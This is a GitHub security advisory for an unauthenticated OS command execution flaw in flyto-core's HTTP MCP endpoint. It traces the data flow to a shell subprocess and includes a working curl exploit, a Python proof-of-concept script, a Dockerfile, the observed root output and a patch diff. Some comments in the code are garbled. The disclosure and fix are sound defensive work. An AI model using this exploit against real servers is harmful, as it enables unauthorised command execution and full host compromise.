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flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`

High severity GitHub Reviewed Published May 30, 2026 in flytohub/flyto-core • Updated Jul 6, 2026

Package

pip flyto-core (pip)

Affected versions

>= 2.26.2, < 2.26.4

Patched versions

2.26.4

Description

Unauthenticated Command Execution via HTTP MCP execute_module

Summary

The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.

Details

flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.

The complete unauthenticated data flow from source to sink:

  1. src/core/api/server.py:75-78mcp_router is mounted under /mcp unconditionally at app creation.
  2. src/core/api/routes/mcp.py:65-66@router.post("") has no Depends(require_auth) guard; any HTTP client may POST to this route.
  3. src/core/api/routes/mcp.py:79 — the full request body (attacker-controlled JSON) is parsed without validation.
  4. src/core/api/routes/mcp.py:103-104 — each JSON-RPC item is forwarded to handle_jsonrpc_request without a module_filter.
  5. src/core/mcp_handler.py:813-838tools/call with name execute_module forwards attacker-controlled module_id and params to execute_module().
  6. src/core/mcp_handler.py:180, 214-215 — the module registry resolves module_id and invokes it with attacker-supplied params.
  7. src/core/modules/registry/decorators.py:96-101 — the function wrapper exposes self.params as context['params'].
  8. src/core/modules/atomic/sandbox/execute_shell.py:137-139command is read directly from params with no sanitization.
  9. src/core/modules/atomic/sandbox/execute_shell.py:163-169command reaches asyncio.create_subprocess_shell with shell=True and no allowlist or escaping.

The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.

Vulnerable code excerpts:

# src/core/api/routes/mcp.py:65-66  — missing auth
@router.post("")
async def mcp_post(request: Request):
# src/core/mcp_handler.py:832-838  — attacker-controlled dispatch
elif tool_name == "execute_module":
    result = await execute_module(
        module_id=arguments.get("module_id", ""),
        params=arguments.get("params", {}),
        context=arguments.get("context"),
        browser_sessions=browser_sessions,
    )
# src/core/modules/atomic/sandbox/execute_shell.py:137-169  — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)

Contrast with the protected REST route:

# src/core/api/routes/modules.py:93  — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])

The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.

PoC

Environment setup (Docker):

# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
  -f vuln-001/Dockerfile \
  -t flyto-vuln-001 \
  reports/mcp_57_flytohub__flyto-core/

# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
  -p 127.0.0.1:8333:8333 \
  --name flyto-vuln-001-test \
  flyto-vuln-001

Exploit (curl) — no Authorization header:

curl -sS http://127.0.0.1:8333/mcp \
  -H 'Content-Type: application/json' \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "execute_module",
      "arguments": {
        "module_id": "sandbox.execute_shell",
        "params": {"command": "id", "timeout": 5}
      }
    }
  }'

Exploit (Python PoC script):

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 8333 --command id

Observed response (dynamic reproduction, Phase 2):

{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "structuredContent": {
      "ok": true,
      "data": {
        "stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
        "stderr": "",
        "exit_code": 0,
        "execution_time_ms": 4.84
      }
    },
    "isError": false
  }
}

The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.

Network-accessible variant:

If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.

Recommended remediation:

--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
 from fastapi.responses import JSONResponse, Response
 from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter

-@router.post("")
+@router.post("", dependencies=[Depends(require_auth)])
 async def mcp_post(request: Request):
         result = await handle_jsonrpc_request(item, browser_sessions)
+        result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)

-@router.delete("")
+@router.delete("", dependencies=[Depends(require_auth)])
 async def mcp_delete(request: Request):
--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]

Impact

This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.

Affected parties include:

  • Developers and local users running flyto serve on their workstations — any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface.
  • Infrastructure operators who expose the API on a non-loopback interface (--host 0.0.0.0) without network-level access controls — the attack surface becomes the entire network.

Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc g++ libxml2-dev libxslt1-dev \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# local repo copy source (build context: mcp_57_flytohub__flyto-core/)
COPY repo/ /app/repo/

# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"

EXPOSE 8333

# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module

Target:  flyto-core 2.26.2
Route:   POST /mcp  (no auth dependency — mcp.py:65)
Sink:    asyncio.create_subprocess_shell  (execute_shell.py:163)
CWE:     CWE-306 Missing Authentication for Critical Function

Usage:
    python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]
"""
import sys
import time
import json
import argparse
import urllib.request
import urllib.error


def wait_for_server(base_url: str, max_wait: int = 45) -> bool:
    """servertext readytext until /health text."""
    for i in range(max_wait):
        try:
            with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp:
                if resp.status == 200:
                    print(f"[+] server is ready ({i}s textand)")
                    return True
        except Exception:
            pass
        time.sleep(1)
        if i % 5 == 4:
            print(f"[*] wait in progress... ({i+1}s)")
    return False


def send_exploit(base_url: str, command: str) -> dict:
    """without authentication POST /mcptext arbitrary command execute request."""
    payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "execute_module",
            "arguments": {
                "module_id": "sandbox.execute_shell",
                "params": {
                    "command": command,
                    "timeout": 10
                }
            }
        }
    }

    data = json.dumps(payload).encode("utf-8")
    req = urllib.request.Request(
        f"{base_url}/mcp",
        data=data,
        headers={"Content-Type": "application/json"},
        method="POST",
    )

    with urllib.request.urlopen(req, timeout=20) as resp:
        body = resp.read().decode("utf-8")

    return json.loads(body)


def main():
    parser = argparse.ArgumentParser(description="VULN-001 PoC — flyto-core unauthenticated RCE via MCP")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=8333)
    parser.add_argument("--command", default="id", help="OS command to execute (default: id)")
    args = parser.parse_args()

    base_url = f"http://{args.host}:{args.port}"

    print("=" * 60)
    print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module")
    print(f"  Target  : {base_url}/mcp")
    print(f"  Command : {args.command}")
    print("=" * 60)
    print()

    # 1. wait for server readiness
    print("[*] waiting for server startup in progress...")
    if not wait_for_server(base_url):
        print("[-] FAIL: servertext whenbetween within not respond not")
        sys.exit(1)

    # 2. without authentication exploit send request
    print(f"\n[*] POST {base_url}/mcp — without an Authorization header send")
    try:
        result = send_exploit(base_url, args.command)
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8", errors="replace")
        print(f"[-] HTTP {e.code}: {body}")
        print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")
        sys.exit(1)
    except Exception as e:
        print(f"[-] text error: {e}")
        sys.exit(1)

    # 3. response parse
    print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")

    # result.result.structuredContent.data.stdout
    try:
        structured = result["result"]["structuredContent"]
        data = structured["data"]
        stdout = data.get("stdout", "")
        stderr = data.get("stderr", "")
        exit_code = data.get("exit_code", -1)
    except (KeyError, TypeError) as e:
        print(f"[-] FAIL: expected response structure text — {e}")
        print(f"    result keys: {list(result.get('result', {}).keys())}")
        sys.exit(1)

    print(f"[*] exit_code = {exit_code}")
    print(f"[*] stdout    = {stdout!r}")
    print(f"[*] stderr    = {stderr!r}")
    print()

    # 4. success verdict: `id` command resulttext uid= contains whether
    if "uid=" in stdout:
        print("[+] ============================================================")
        print("[+] PASS: without authentication text OS command execution check!")
        print(f"[+] command output: {stdout.strip()}")
        print("[+] ============================================================")
        sys.exit(0)
    else:
        print("[-] FAIL: stdouttext 'uid=' none — commandtext executenot text outputtext different")
        sys.exit(1)


if __name__ == "__main__":
    main()

References

@ChesterHsu ChesterHsu published to flytohub/flyto-core May 30, 2026
Published to the GitHub Advisory Database Jul 6, 2026
Reviewed Jul 6, 2026
Last updated Jul 6, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

CVE ID

CVE-2026-55786

GHSA ID

GHSA-h9f9-h6gm-wc85

Source code

Credits

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